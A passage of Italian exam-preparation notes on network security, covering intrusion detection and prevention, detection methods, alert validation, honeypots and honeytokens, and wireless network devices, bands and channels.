sopra. Il daemon legge tutto il traffico che arriva sulla sua eth0 e lo inoltra alla console NIDS centrale.\nPromiscuous mode:\nI pacchetti che arrivano sulla porta mirror sono indirizzati ad altri host (server web, router, workstation) — non al sensore. Normalmente una NIC scarta i pacchetti il cui MAC di destinazione non è il suo:\nflowchart TD subgraph NORMAL[\"NIC normale\"] P1[\"pacchetto arriva\"] --\u003e D1{\"MAC dest = mio?\"} D1 --\u003e|\"sì\"| A1[\"accetto\"] D1 --\u003e|\"no\"| S1[\"scarto\"] end subgraph PROMISC[\"NIC in promiscuous mode\"] P2[\"pacchetto arriva\"] --\u003e I2[\"ignora MAC destinazione\"] I2 --\u003e A2[\"accetto tutto → passa a Suricata\"] end Senza promiscuous mode il sensore scarterebbe silenziosamente tutto il traffico che sta \u0026quot;spiando\u0026quot;. Per questo la NIC del sensore deve essere in promiscuous mode — è la stessa modalità che attiva Wireshark quando catturi traffico su un'interfaccia.\nLo stesso principio si applica ai router: si configura un port tap sul router per catturare tutto il traffico che lo attraversa e inviarlo al sensore.\nPromiscuos Mode La NIC normale funziona come una cassetta delle lettere — legge il nome sul pacco e se non è il suo lo butta. La NIC in promiscuous mode legge tutto quello che passa, indipendentemente dal destinatario.\nIn termini tecnici: normalmente il kernel scarta i frame Ethernet il cui MAC di destinazione non corrisponde al proprio. In promiscuous mode quel filtro viene disabilitato — tutti i frame arrivano su su fino all'applicazione (Suricata, Wireshark, ecc.).\nHIPS e NIPS — la matrice completa # HIDS e NIDS sono sistemi di detection (avvisano). Se aggiungi la capacità di bloccare attivamente, ottieni le controparti IPS:\nDetection only Prevention (blocca) Host-based HIDS HIPS Network-based NIDS NIPS HIPS (Host-based IPS): stessa posizione del HIDS — installato sull'host — ma può intervenire attivamente: terminare processi, bloccare connessioni, modificare ACL locali. Utile per bloccare malware che non genera traffico di rete visibile al NIDS.\nNIPS (Network-based IPS): come il NIDS ma in-line nel flusso di traffico — può droppare pacchetti malevoli prima che raggiungano la rete interna. Il posizionamento pratico (perimetro Internet vs perimetro SCADA) è descritto in #NIPS 1 e NIPS 2 — posizionamento pratico (Figure 4.3).\nNote Gibson usa prevalentemente i termini IDS/IPS + host-based/network-based. HIPS e NIPS sono la combinazione logica degli stessi concetti — utili per ragionare sulla matrice, non sempre citati esplicitamente nelle domande d'esame.\nLab — HIPS in pratica (Mustache Project, Sprint 1):\nfail2ban configurato su Ubuntu come componente HIPS: maxretry = 5, findtime = 60s, bantime = 300s. Dopo 5 tentativi SSH falliti da Kali (192.168.64.200) in 60 secondi, fail2ban scrive una regola iptables che banna l'IP. Su Kali, Hydra riceve Connection refused. Il ciclo visibile in /var/log/fail2ban.log: Found ×5 → Ban → (300s) → Unban → Found ×5 → Ban. Distinzione chiave: HIPS non è inline — i pacchetti SSH arrivano all'host, poi vengono bloccati i tentativi futuri. Inline è solo Suricata in modalità nfqueue (NIPS).\nMetodi di Detection # mindmap root((Detection Methods)) Signature-based Database firme note Come antivirus Rileva attacchi noti Non rileva zero-day SYN flood classico Trend-based Anomaly-based Fase 1 Baseline Fase 2 Deviazione Rileva zero-day Vulnerabile ad APT lenti APT paziente sotto soglia SYN Flood Three-way handshake ACK mai inviato Risorse esaurite IDS rileva pattern IPS blocca attivamente Data Sources Firewall logs System logs Application logs Real-time vs Polling Aggregatore SIEM Un IDS può solo rilevare un attacco, non prevenirlo. Un IPS rileva e blocca prima che l'attacco raggiunga il target. In entrambi i casi, un \u0026quot;attacco\u0026quot; è qualsiasi tentativo di compromettere Confidentiality, Integrity o Availability (CIA triad).\nI due metodi primari di detection sono signature-based e heuristic/behavioral-based (detto anche anomaly-based). Un IDS può usare uno dei due o entrambi.\nSignature-based (definition-based) # Usa un database di vulnerabilità note o pattern di attacco noti. Quando il traffico corrisponde a una firma nel database → alert.\nEsempio con SYN flood:\nL'attaccante inonda il target di pacchetti SYN senza mai completare il three-way handshake TCP (manca l'ACK finale) Questo consuma risorse sul server fino al crash È un attacco noto con un pattern preciso: SYN ripetuti da un IP verso un altro IP Il signature database contiene quella definizione → l'IDS la riconosce e genera alert Important Il meccanismo è identico a quello degli antivirus: confronto contro un database di firme note. Esattamente come l'antivirus aggiorna le definizioni dei virus, l'IDS deve aggiornare regolarmente il signature database dal vendor per restare efficace contro le minacce attuali.\nLimite: funziona solo contro attacchi già noti e catalogati. Un attacco zero-day (mai visto prima) non ha firma → non viene rilevato.\nConfronta con... Domanda che si fa Signature-based Database di attacchi noti \u0026quot;Questo traffico assomiglia a un attacco che conosco?\u0026quot; Trend-based Baseline del comportamento normale \u0026quot;Questo traffico è diverso da quello solito?\u0026quot; Trend-based Detection (Anomaly-based) # Gibson la chiama trend-based — anche detta anomaly-based o behavioral-based, sono sinonimi. Invece di confrontare con firme note, osserva come si comporta il traffico e cerca deviazioni dalla normalità.\nFunziona in due fasi:\nFase 1 — Baseline: L'IDS osserva la rete e costruisce un profilo di \u0026quot;normale\u0026quot; — il riferimento di partenza. Analogia: il medico che misura la tua pressione ogni anno costruisce una baseline. Se un giorno è 180/110 sa che è anomalo non per una regola astratta, ma perché conosce il tuo normale.\nEsempio di baseline: 500 connessioni/ora, picco traffico 9-11, nessun host con più di 5 login falliti al giorno.\nFase 2 — Detection: Tutto ciò che supera una soglia di scostamento dalla baseline → alert.\nBaseline: 500 conn/ora Osservato: 50.000 conn/ora → anomalia → alert\nVantaggio principale: rileva attacchi zero-day — non serve la firma, basta che il comportamento sia anomalo.\nPunto debole — l'attaccante paziente (APT):\nUn APT che esfiltra 10MB al giorno invece di 10GB in un'ora resta sempre dentro la soglia → nessun alert per mesi.\nCaso limite — SYN flood distribuito (DDoS):\nSYN flood da un singolo IP → signature-based lo cattura (pattern noto). Distribuito su migliaia di IP (botnet) → nessuna firma per singolo IP → serve trend-based: il volume aggregato si discosta dalla baseline.\nWarning Ogni volta che si fanno modifiche significative alla rete (nuovo server, migrazione, cambio di traffico atteso), la baseline va ricreata. Altrimenti l'IDS genererà alert continui su comportamenti che ora sono normali.\nSignature-based Trend-based (Anomaly-based) Rileva attacchi noti Sì Sì Rileva zero-day No Sì Falsi positivi Bassi Più alti Richiede baseline No Sì Vulnerabile ad APT lenti No Sì (restano sotto soglia) SYN Flood — approfondimento # Il SYN flood è un attacco DoS classico che sfrutta il three-way handshake TCP.\nAnalogia: è come un amico che tende la mano per stringertela — tu estendi la tua in risposta — e lui la ritira all'ultimo istante. Tu o io smetteremmo di rispondere. Il server no: continua a rispondere a ogni SYN con un SYN/ACK perché non sa fare altrimenti.\nsequenceDiagram participant C as Client participant S as Server Note over C,S: Normale three-way handshake C-\u003e\u003eS: SYN S-\u003e\u003eC: SYN/ACK C-\u003e\u003eS: ACK Note over C,S: Sessione stabilita ✓ Note over C,S: SYN flood attack loop × migliaia (IP spoofati) C-\u003e\u003eS: SYN S-\u003e\u003eC: SYN/ACK Note right of S: ACK mai inviato — sessione pendente, risorse consumate end Note over C,S: Risorse esaurite — nuove connessioni bloccate Ogni sessione incompleta consuma risorse. Quando le risorse si esauriscono, il server non riesce più ad accettare connessioni legittime — non necessariamente crasha, ma diventa inaccessibile.\nDifese:\nIDS rileva il pattern → alert IPS rileva e blocca attivamente Molti firewall includono un SYN flood guard che rileva le sessioni incomplete e le chiude proattivamente Data Sources e Trends # Un IDS raccoglie log da fonti diverse per rilevare pattern di attacco su un perimetro ampio. Le fonti principali:\nFonte Contenuto Esempio Firewall logs Connessioni permesse/bloccate IP sorgente, porta, policy applicata System logs Attività del sistema operativo Login, modifiche permessi, avvio processi Application logs Eventi delle applicazioni Web server access log, errori database Real-time vs. Polling:\nReal-time — i log arrivano al sistema di analisi man mano che vengono generati. Rilevamento più rapido. Polling — l'IDS interroga le sorgenti a intervalli regolari. Più semplice, ma con ritardo. Aggregatore:\nUn NIDS include spesso un aggregatore che raccoglie i log da tutti i sensori e li centralizza per l'analisi — ruolo simile a un SIEM. Senza aggregazione, ogni sensore genera alert isolati e diventa impossibile correlare eventi distribuiti su più nodi della rete.\nReporting Based on Rules # L'IDS analizza i log raccolti e genera notifiche quando rileva pattern sospetti. Il termine usato varia per gravità:\nAlarm — segnale serio, richiede risposta immediata Alert — segnale di minore gravità in alcuni sistemi L'amministratore riceve la notifica e investiga l'evento per determinare se è reale o un falso positivo.\nNote Gibson usa \u0026quot;alarm\u0026quot; e \u0026quot;alert\u0026quot; quasi come sinonimi — entrambi indicano che l'IDS ha rilevato qualcosa che richiede attenzione umana. La differenza semantica dipende dall'implementazione del prodotto.\nValidazione degli Alert — FP, FN, TP, TN # mindmap root((Alert Validation)) Quadranti TP True Positive Attacco reale rilevato Alert corretto TN True Negative Nessun attacco silenzio Comportamento corretto FP False Positive Evento benigno alert Falso allarme FN False Negative Attacco non rilevato Il piu pericoloso Soglia threshold Bassa piu FP Alta piu FN Bilanciamento necessario Configurazione ambientale Alert Fatigue Troppi FP Admin ignora alert Urlare al lupo Calibrare non sopprimere In-line vs Out-of-band IPS in-line blocca IDS passivo avvisa Fail-open disponibilita Fail-closed sicurezza Un IDS non è infallibile. Ogni evento rientra in uno di quattro quadranti:\nAttacco reale Nessun attacco IDS lancia alert ✅ True Positive (TP) ❌ False Positive (FP) IDS silenzioso ❌ False Negative (FN) ✅ True Negative (TN) True Positive (TP) — attacco reale, IDS rileva correttamente → alert giusto True Negative (TN) — nessun attacco, IDS tace → comportamento corretto False Positive (FP) — evento benigno/innocuo, ma IDS genera alert → falso allarme False Negative (FN) — attacco in corso, IDS non rileva nulla → il più pericoloso Important FP e FN non si eliminano completamente — si bilanciano. Abbassare la soglia riduce i FN ma aumenta i FP. Alzarla riduce i FP ma aumenta i FN. L'obiettivo è il punto di equilibrio corretto per l'ambiente.\nSoglia SYN — threshold # Un pacchetto SYN singolo è normale — ogni connessione TCP inizia con un SYN. Il problema è il volume.\n1 SYN/sec → connessione normale → no alert 10 SYN/sec → potrebbe essere normale → soglia bassa → FP 1000 SYN/sec → quasi certamente un attacco → alert corretto La threshold è configurabile: l'amministratore imposta il numero di SYN al secondo oltre il quale scatta l'alert. Non esiste una soglia universale — dipende dall'ambiente specifico.\nSoglia troppo bassa → falsi positivi su traffico legittimo Soglia troppo alta → falso negativo su attacco reale Il problema dei falsi positivi — \u0026quot;urlare al lupo\u0026quot; # La fiaba \u0026quot;al lupo al lupo\u0026quot; descrive perfettamente il rischio:\nUn pastorello urla \u0026quot;al lupo! al lupo!\u0026quot; come scherzo. I contadini corrono — due volte. Quando il lupo arriva davvero, nessuno si muove più.\nUn IDS con troppi falsi positivi produce lo stesso effetto: gli amministratori iniziano a ignorare gli alert (\u0026quot;è quasi sempre un falso positivo\u0026quot;). Quando arriva l'attacco reale, l'alert viene trascurato.\nWarning Un IDS con troppi falsi positivi è peggio di nessun IDS — produce alert fatigue: gli amministratori si assuefanno agli alert e smettono di investigarli. Il rimedio è calibrare la soglia, non sopprimere gli alert.\nRemember This (Gibson) L'obiettivo non è eliminare tutti i falsi positivi — è ridurli al minimo mantenendo una soglia che cattura gli attacchi reali. Ogni alert dovrebbe essere investigato per capire se è TP o FP.\nIPS vs IDS — In-line vs Passivo # In-line vs Out-of-band # La differenza fisica tra IDS e IPS è dove si trovano nel percorso del traffico:\nIDS IPS Posizione Out-of-band (fuori dal flusso) In-line (nel mezzo del flusso) Come riceve il traffico Copia via port mirror o tap Il traffico passa fisicamente attraverso di esso Può bloccare pacchetti? No — vede solo la copia Sì — può droppare pacchetti prima che arrivino Sinonimo Passivo Attivo In-line significa che il traffico passa fisicamente attraverso l'IPS — come un casello autostradale. Non puoi bypassarlo: ogni pacchetto entra, viene ispezionato, e solo se è pulito prosegue. L'IPS può droppare pacchetti malevoli prima che raggiungano la rete interna.\nOut-of-band (passivo) significa che l'IDS riceve una copia del traffico via port mirror, ma il traffico originale va avanti comunque — arriva a destinazione prima ancora che l'IDS lo analizzi. Il NIDS può agire solo dopo che l'attacco è partito, non prima.\nImportant Un IPS è un preventive control — ferma l'attacco prima che accada. Un IDS è un detective control — rileva e notifica dopo.\nActive monitoring vs passive monitoring\nTerminologia alternativa equivalente:\nTermine alternativo Gibson/standard Comportamento Active monitoring In-line IPS nel flusso — può bloccare in tempo reale. Default per IPS. Passive monitoring Out-of-band Copia del traffico via port mirror/SPAN — può solo alertare. Si comporta di fatto come un IDS anche se il device è un IPS. SPAN = Switch Port Analyzer — termine Cisco per il port mirroring. Lo switch duplica il traffico di una o più porte su una porta dedicata dove è connesso il sensore IPS/IDS. Sinonimo di port mirror/port spanning.\nPerché alcune organizzazioni scelgono il passive monitoring:\nPreoccupazione che un guasto dell'IPS in-line interrompa la rete Preoccupazione che l'IPS sia troppo aggressivo e blocchi traffico legittimo (falsi positivi) In questi casi si preferisce la visibilità senza il rischio di downtime o interruzioni involontarie. Fail-open e fail-closed per IPS in-line\nQuando un IPS in-line ha un guasto (hardware, software, alimentazione), cosa succede al traffico?\nModalità Comportamento al guasto Priorità Fail-open Il traffico continua a fluire senza ispezione — la rete resta up Disponibilità Fail-closed Il link viene interrotto — nessun traffico passa Sicurezza La maggior parte delle reti preferisce fail-open per non interrompere il servizio, ma non è universale — dipende dal contesto (una rete SCADA potrebbe preferire fail-closed). Verificare sempre la documentazione del dispositivo.\nNote Fail-open/fail-closed si applica solo ai dispositivi in-line. Un IDS passivo (out-of-band) non può causare interruzioni di rete — al massimo smette di generare alert.\nFirewall vs IPS — differenza fondamentale\nFirewall IPS Opera su Header del pacchetto (IP sorgente/destinazione, porta, protocollo) Contenuto del pacchetto — deep packet inspection Logica Regole statiche: \u0026quot;blocca porta 23\u0026quot;, \u0026quot;permetti 443\u0026quot; Signature/anomaly: \u0026quot;questo payload contiene SQLi o buffer overflow\u0026quot; Capisce il traffico? No — vede solo da dove viene e dove va Sì — ispeziona il payload Esempio Blocca tutto il traffico UDP in ingresso sulla 53 Blocca una SQL injection su porta 443 che il firewall lascerebbe passare Il firewall è il buttafuori che controlla il biglietto. L'IPS è il metal detector che controlla cosa hai addosso. Un NGFW li combina: applica regole di rete e ispeziona il contenuto — per questo ha sostituito il VPN concentrator dedicato e l'IPS separato in molte architetture moderne.\nCapacità aggiuntive degli IDS avanzati # Alcuni IDS, oltre all'alert standard, possono modificare l'ambiente per reagire all'attacco:\nModifica ACL — l'IDS aggiorna dinamicamente le Access Control List del firewall per bloccare l'IP attaccante Terminazione processi — chiude i processi sul sistema target che l'attacco ha avviato Deviazione verso honeypot/honeynet — reindirizza l'attaccante verso un ambiente esca dove può essere studiato senza danni reali (honeypot = sistema esca singolo; honeynet = rete di honeypot — approfondito più avanti in questo capitolo) Note Queste capacità avanzate avvicinano l'IDS all'IPS — ma la distinzione resta: un IPS in-line agisce prima che il traffico arrivi, un IDS passivo agisce dopo.\nNIPS 1 e NIPS 2 — posizionamento pratico (Figure 4.3) # La figura mostra due NIPS su reti separate, ognuno protegge un perimetro diverso:\nNIPS 1 — perimetro Internet:\nPosizionato tra Internet e la screened subnet (DMZ) Tutto il traffico Internet passa attraverso NIPS 1 Ispeziona il traffico in ingresso e blocca gli attacchi prima che raggiungano la rete interna NIPS 2 — perimetro SCADA (rete privata interna):\nPosizionato tra l'intranet e la rete SCADA (private network) Il firewall adiacente ha regole che permettono solo traffico autorizzato (es. solo Homer dal suo PC) NIPS 2 ispeziona anche quel traffico autorizzato per bloccare eventuali pacchetti malevoli Perché serve NIPS 2 se c'è già un firewall?\nUn APT (Advanced Persistent Threat) può installare un RAT (Remote Access Trojan) sul PC di Homer tramite phishing o malware. Una volta installato, l'attaccante controlla il PC di Homer dall'interno. Il firewall lascia passare il traffico da Homer perché è nella whitelist — ma NIPS 2 ispeziona quel traffico e blocca i pacchetti malevoli prima che raggiungano la rete SCADA.\nTip Ogni IPS è posizionato sul bordo della rete che protegge: NIPS 1 sul bordo Internet→intranet, NIPS 2 sul bordo intranet→SCADA. Questo garantisce che tutto il traffico in ingresso venga ispezionato.\nSCADA — cos'è # SCADA (Supervisory Control and Data Acquisition) è un sistema di controllo industriale usato per gestire infrastrutture critiche: centrali nucleari, reti elettriche, acquedotti, oleodotti. È una rete privata segmentata dall'intranet aziendale — accesso estremamente ristretto, spesso con protocolli legacy e sistemi difficili da aggiornare. Target ad alto valore per APT e attori nation-state.\nRemember This (Gibson) Un IPS è in-line con il traffico e può rilevare, reagire e prevenire attacchi. Un IDS monitora e risponde a un attacco — non è in-line ma raccoglie dati in modo passivo (out-of-band).\nHoneypot – Honeynet – Honeyfile – Honeytoken # mindmap root((Deception Tech)) Honeypot Server finto appetibile Dati bogus mai reali Distrae e osserva Alert durante attacco Honeynet Gruppo di honeypot VM su server fisico Osserva lateral movement IDS deflette traffico Honeyfile File nome attraente password.txt Alert se aperto o copiato Rivela esplorazione attiva Honeytoken Record falso in DB reale Email vergine Alert dopo esfiltrazione Tradisce il ladro Know Your Enemy Sun Tzu Osservare metodologie Zero-day usati Strumenti attaccante Honeypot # Cos'è: un server costruito appositamente per sembrare un target appetibile — come il miele per un orso. È protetto in modo sciatto (sloppily) per invitare l'attaccante a entrare.\nCome funziona: l'attaccante trova un server apparentemente vulnerabile con dati allettanti (credenziali, file proprietari, transazioni). Ha qualche protezione — abbastanza da sembrare realistico: un server completamente aperto insospettirebbe un attaccante esperto. Mentre è dentro, il team di security lo osserva.\nEsempio: web server finto in DMZ con cartelle che simulano dati di carte di credito. Oppure honeypot interno con documenti fabbricati su progetti proprietari — usato per individuare una minaccia interna (insider).\nScopo: distrarre (ogni minuto nel honeypot = un minuto non sulla rete reale) + osservare metodologie, strumenti, zero-day usati.\nImportant Un honeypot non contiene mai dati reali. I dati sembrano valuable all'attaccante ma sono bogus — inventati. La loro divulgazione è harmless.\nHoneynet # Cos'è: un gruppo di honeypot in un segmento di rete separato ma raggiungibile dalla rete principale. Mima un'intera infrastruttura reale — non un singolo server, ma una rete completa.\nCome funziona: un singolo server fisico potente ospita più VM, ognuna con il suo OS e applicazioni. Dal punto di vista della rete, 1 server fisico + 6 VM = 7 sistemi distinti sullo stesso subnet. L'attaccante non distingue fisico da virtuale.\nEsempio:\nServer fisico (1 IP) ├── VM 1 — web server finto (1 IP) ├── VM 2 — database finto (1 IP) ├── VM 3 — file server finto (1 IP) ├── VM 4 — workstation finta (1 IP) ├── VM 5 — mail server finto (1 IP) └── VM 6 — domain controller finto (1 IP) = 7 sistemi visibili sul subnet Scopo: osservare il lateral movement — l'attaccante si muove tra i nodi della honeynet credendo di essere in una rete reale. Gli IDS avanzati possono deflettere automaticamente il traffico malevolo verso la honeynet.\nHoneyfile # Cos'è: un file progettato per attirare l'attenzione di un attaccante tramite il nome.\nCome funziona: un file chiamato password.txt sembra contenere credenziali reali. Un amministratore esperto non sarebbe così imprudente — ma un attaccante ci cade. Il file viene posizionato dove un attaccante in esplorazione lo troverà. Se qualcuno lo apre o copia, scatta un alert.\nEsempio: passwords.txt, credit_cards_2024.xlsx, employee_salaries.csv — nomi che gridano \u0026quot;dati sensibili\u0026quot; a chi sta cercando qualcosa di utile.\nScopo: rivelare che un attaccante sta esplorando attivamente il sistema durante l'intrusione.\nHoneytoken # Cos'è: un record falso inserito all'interno di un database di produzione reale, progettato per rilevare se i dati sono stati rubati.\nCome funziona: si crea un record che non esiste nella realtà, ma è indistinguibile dagli altri. Se quel record compare altrove — in un dump, in una lista venduta, in una campagna spam — si sa con certezza che il database è stato esfiltrato.\nEsempio — l'email \u0026quot;vergine\u0026quot;:\n1. Creo: JamesKate@getcertifiedgetahead.com 2. La inserisco in un record cliente finto nel DB di produzione 3. Non la uso mai altrove — è \u0026#34;vergine\u0026#34; 4. Se quell\u0026#39;email riceve un messaggio → il DB clienti è stato rubato Quell'email non può ricevere messaggi per nessun altro motivo: non è pubblicata, non è registrata da nessuna parte, non esiste fuori dal DB. Un messaggio su quella inbox ha una sola spiegazione possibile.\nScopo: rilevare l'esfiltrazione dopo che i dati sono già stati rubati — il token tradisce il ladro quando usa il bottino.\nConfronto # Honeypot Honeynet Honeyfile Honeytoken Cos'è Server finto Rete di server finti File con nome attraente Record falso in DB reale Scopo Distrarre + osservare Distrarre + osservare lateral movement Rilevare esplorazione attiva Rilevare furto di dati Dati dentro Bogus Bogus Nessun dato Record tra dati reali Alert scatta quando Attaccante entra nel server Attaccante si muove nella rete Apre o copia il file Token ricompare altrove Timing Durante l'attacco Durante l'attacco Durante l'esplorazione Dopo l'esfiltrazione Esempio Web server finto in DMZ 6 VM su 1 server fisico password.txt Email vergine in DB clienti Remember This (Gibson) Honeypot e honeynet ingannano e disturbano (disrupt) gli attaccanti — li deviano dalla rete reale e permettono di osservare le loro metodologie. Un honeyfile è un file con nome attraente (es. password.txt) che cattura l'attenzione dell'attaccante. Un honeytoken è un record falso inserito in un database per rilevare il furto di dati.\nKnow Your Enemy — Sun Tzu e la cyberwarfare # Sun Tzu scrisse nell'Arte della Guerra: \u0026quot;Tutta la guerra è basata sull'inganno\u0026quot; e \u0026quot;Conosci i tuoi nemici.\u0026quot;\nLa cyberwarfare è guerra quotidiana, e honeypot e honeynet sono strumenti di intelligence offensiva: non solo difendono, ma permettono di conoscere il nemico — come attacca, con quali strumenti, quali vulnerabilità sfrutta, cosa cerca. Chi difende non può farlo bene senza capire come funziona chi attacca.\nTip \u0026quot;Know Your Enemy\u0026quot; è anche il titolo di una famosa canzone dei Rage Against the Machine — e del progetto Honeynet Project, la community di ricerca che studia gli attaccanti tramite honeypot nel mondo reale.\nWarning Exam trap: un honeypot non è un sistema di produzione con dati reali — è sempre una trappola con dati fabbricati. Se una domanda descrive dati reali esposti, non è un honeypot correttamente configurato.\nSecuring Wireless Networks # mindmap root((Wireless Security)) Dispositivi Switch Layer 2 AP stesso subnet L2 Router Layer 3 Wireless Router AP+Router SSID e MAC SSID nome rete Cambiare default MAC filtering debole BIA vs LAA spoofable Bande e canali 2.4 GHz portata maggiore 5 GHz velocita maggiore Canali 1 6 11 non sovrapposti Site survey heat map Protocolli WEP deprecato WPA deprecato WPA2 CCMP AES PSK Personal Enterprise RADIUS Open cleartext WPA3 SAE GCMP Enhanced Open cifrato Perfect Forward Secrecy Dragonfly handshake Autenticazione EAP-TLS cert su entrambi PEAP solo server cert EAP-TTLS server cert legacy EAP-FAST PAC no cert 802.1X Port-Based NAC Captive Portal guest Le WLAN (Wireless Local Area Networks) sono parte fondamentale sia delle reti domestiche che aziendali. La facilità di deployment è il vantaggio principale — nessun cavo, connessione rapida, riduzione dei costi. Ma le reti wireless rappresentano anche un importante vettore di attacco, e molti utenti non sanno come securizzarle adeguatamente.\nI quattro dispositivi di rete — differenze fondamentali # Prima di entrare nella sicurezza wireless, è utile avere chiaro il ruolo di ogni dispositivo. I vendor li combinano spesso in un unico box, ma concettualmente sono distinti.\nDispositivo Layer OSI Funzione Va su Internet? Routing tra subnet? Switch 2 Connette dispositivi all'interno della stessa rete (stesso subnet) No No Access Point (AP) 2 Estende la rete cablata in modalità wireless (stesso subnet) No No Router 3 Instrada pacchetti tra reti diverse (subnet→subnet, LAN→Internet) Sì Sì Modem 1-2 Converte il segnale ISP (fibra/ADSL/coax) in Ethernet — (è il collegamento fisico) No Switch — lavora solo all'interno del segmento locale. Connette PC, server, stampanti sulla stessa subnet. Non sa cosa sia un'altra rete, non fa routing, non ha una porta WAN. È invisibile a Internet.\nAccess Point puro — stessa logica dello switch, ma wireless. Estende il segmento cablato via radio. Tutti i client wireless finiscono sullo stesso subnet della rete cablata. Non fa routing, non esce su Internet da solo.\nPC via cavo ──────────────────┐ ├── switch ──── router ──── modem ──── ISP Laptop WiFi ── (AP) ──────────┘ ↑ Layer 2: stesso subnet AP non sa nulla di Internet Il laptop connesso all'AP è sulla stessa rete del PC cablato. L'AP non ha nulla a che fare con l'uscita su Internet — quella è roba del router.\nAP vs range extender/repeater — l'AP non amplifica il segnale wireless. Quello è un dispositivo diverso: il range extender prende il segnale wireless e lo ri-trasmette via radio, senza cavo verso il router. L'AP invece ha sempre un cavo fisico che torna al router/switch — crea un nuovo punto di accesso, non estende quello esistente.\nRouter — l'unico che sa muoversi tra reti diverse. Instrada tra subnet interni (es. rete ufficio → rete server) e verso Internet via modem. Ha sempre almeno due interfacce: una LAN, una WAN.\nRouting solo tra subnet interne — il router può instradare anche senza uscire su Internet:\n192.168.1.0/24 (ufficio) ──┐ ├── Router ──── Internet 192.168.2.0/24 (server) ──┘ I due subnet non si parlano direttamente — passano sempre per il router. Un AP puro non può farlo: vede solo un subnet, tutti sullo stesso segmento Layer 2.\nAP e Wireless Router — Distinzione fondamentale # Un access point (AP) connette i client wireless a una rete cablata — stesso subnet, Layer 2. Un wireless router è un AP con router integrato: può instradare tra subnet e uscire su Internet.\nL'AP ti porta sulla LAN. Quello che puoi fare da lì dipende da cosa c'è sulla LAN, non dall'AP:\nCasa (un box solo): Laptop WiFi │ ← radio (AP + Router + Modem) ──── presa ISP Enterprise / due box: Laptop WiFi │ ← radio (AP) │ ← cavo switch │ router ──── modem ──── presa ISP (di fatto arrivi wireless alla rete) Se sulla LAN c'è un router che va su Internet → arrivi su Internet. Ma il merito è del router, non dell'AP. L'AP ha fatto solo da ponte wireless→cablato.\nSe la LAN non ha un router (es. rete isolata di laboratorio) → sei sulla LAN e basta, nessun accesso a Internet.\nL'AP è trasparente: dal punto di vista della rete, sei esattamente come un PC collegato con il cavo — stesso subnet, stessi accessi, stesse regole. La differenza è solo il mezzo fisico (radio invece di rame).\nSwitch AP Wireless Router Espansione — Access Point — Connette client wireless No Sì Sì Routing No No Sì Include NAT/PAT/DHCP No No Sì Va su Internet No No Sì Important Tutti i wireless router sono AP. Non tutti gli AP sono wireless router. Un AP puro non esce su Internet — è solo un'estensione wireless del segmento LAN.\nWireless Router — perché crea confusione:\nIn commercio quasi tutti i dispositivi venduti come \u0026quot;AP\u0026quot; o \u0026quot;router WiFi\u0026quot; ai consumer sono in realtà wireless router — combinano tutto in un box:\n[Modem] ←→ [Router] ←→ [Switch (4 porte RJ-45)] + [Access Point WiFi] NAT DHCP firewall base Questo fa tutto: riceve il segnale ISP (se ha il modem integrato), fa routing tra LAN e Internet, assegna IP via DHCP, connette sia via cavo che wireless. Gibson fa la distinzione precisa AP vs wireless router proprio perché l'esame la fa — nel mondo reale i due termini vengono usati come sinonimi.\nRegola veloce per l'esame AP = estende la rete (Layer 2, stesso subnet, non esce su Internet) Router = separa le reti (Layer 3, subnet diversi, esce su Internet) Wireless Router = AP + Router nello stesso box Switch = connette dispositivi sullo stesso subnet (Layer 2, mai su Internet) Modem = traduce il segnale ISP — non è né router né switch\nAnatomia di un Wireless Router — Figure 4.4 # La figura mostra un wireless router che fornisce connettività a client sia cablati che wireless. I componenti principali:\nSwitch component — gestisce le porte RJ-45 per i client cablati Router component — fornisce connettività a Internet via broadband modem/ISP Wireless transceiver — gestisce trasmissione e ricezione dei segnali radio per i client wireless I client cablati (via RJ-45) e i client wireless convergono sullo stesso switch component interno — per il resto della rete sono indistinguibili.\nNote La porta Internet è etichettata WAN (Wide Area Network) su alcuni vendor, \u0026quot;Internet\u0026quot; su altri — stessa porta, nomenclatura diversa.\nServizi aggiuntivi del wireless router:\nServizio Funzione NAT Mappa IP privati su un IP pubblico verso Internet PAT Variante NAT — usa le porte per distinguere client multipli con stesso IP pubblico DHCP Assegna automaticamente IP, gateway e DNS ai client Routing Instrada traffico tra rete locale e Internet Questi servizi integrati riducono drasticamente il tempo di setup della WLAN rispetto a configurare ogni componente separatamente.\nWarning Le reti wireless trasmettono su frequenze note e pubbliche — chiunque nel raggio può vedere la rete. Questo include utenti autorizzati, vicini curiosi e attaccanti. La sicurezza wireless è essenziale e sistematicamente sottovalutata.\nBand Selection e Channel Overlaps # Le reti wireless usano due bande radio principali: 2.4 GHz e 5 GHz. I dispositivi non trasmettono esattamente su quella frequenza — ogni banda è suddivisa in più canali che partono da circa 2.4 GHz o 5 GHz.\nBanda Portata (range) Bandwidth Standard 2.4 GHz Maggiore (arriva più lontano) Minore 802.11b, g, n, ax 5 GHz Minore Maggiore (più dati) 802.11ac, n, ax Regola da ricordare: 2.4 GHz = più portata, 5 GHz = più velocità.\nStandard e bande:\nStandard Banda 802.11b 2.4 GHz 802.11g 2.4 GHz 802.11n 2.4 GHz e 5 GHz 802.11ac 5 GHz 802.11ax (Wi-Fi 6) 2.4 GHz e 5 GHz Channel overlap — Figure 4.5:\nNella banda 2.4 GHz i canali si sovrappongono. In 802.11b i canali sono 1-11 (in Italia/EU), ma solo 1, 6 e 11 sono non-sovrapposti:\nCanale 1 si sovrappone con i canali 2-5 Canale 6 si sovrappone con i canali 2-10 Canale 11 si sovrappone con i canali 7-10 Se un dispositivo vicino usa un canale sovrapposto al tuo, il traffico interferisce e le performance calano.\nEsempio pratico: hai il router su canale 6 in un condominio. I router dei vicini usano canale 5 e 7 — entrambi sovrapposti al 6. Soluzione: spostare il tuo router su canale 1 o 11 (non sovrapposti al 6) → interferenze eliminate.\nLa maggior parte dei dispositivi sceglie automaticamente il canale migliore, ma alcuni permettono la selezione manuale per ottimizzare le performance in ambienti affollati.\n2.4 GHz:\nPochi canali (11-13 totali) Si sovrappongono quasi tutti Solo 3 non si sovrappongono: 1, 6, 11 Risultato: interferenze frequenti, specialmente in condomini 5 GHz:\nMolti più canali (20+ a seconda del paese) Sono più larghi e non si sovrappongono Risultato: molto meno interferenza Remember This (Gibson) 2.4 GHz = portata maggiore, bandwidth minore. 5 GHz = portata minore, bandwidth maggiore. I canali non sovrapposti in 2.4 GHz sono 1, 6 e 11 — gli unici tre che non interferiscono tra loro.\nAccess Point SSID # Il SSID (Service Set Identifier) è semplicemente il nome della rete wireless — quello che vedi quando cerchi reti WiFi sul tuo dispositivo.\nAlcuni AP arrivano con SSID di default impostati dal vendor (es. il vecchio default Linksys era 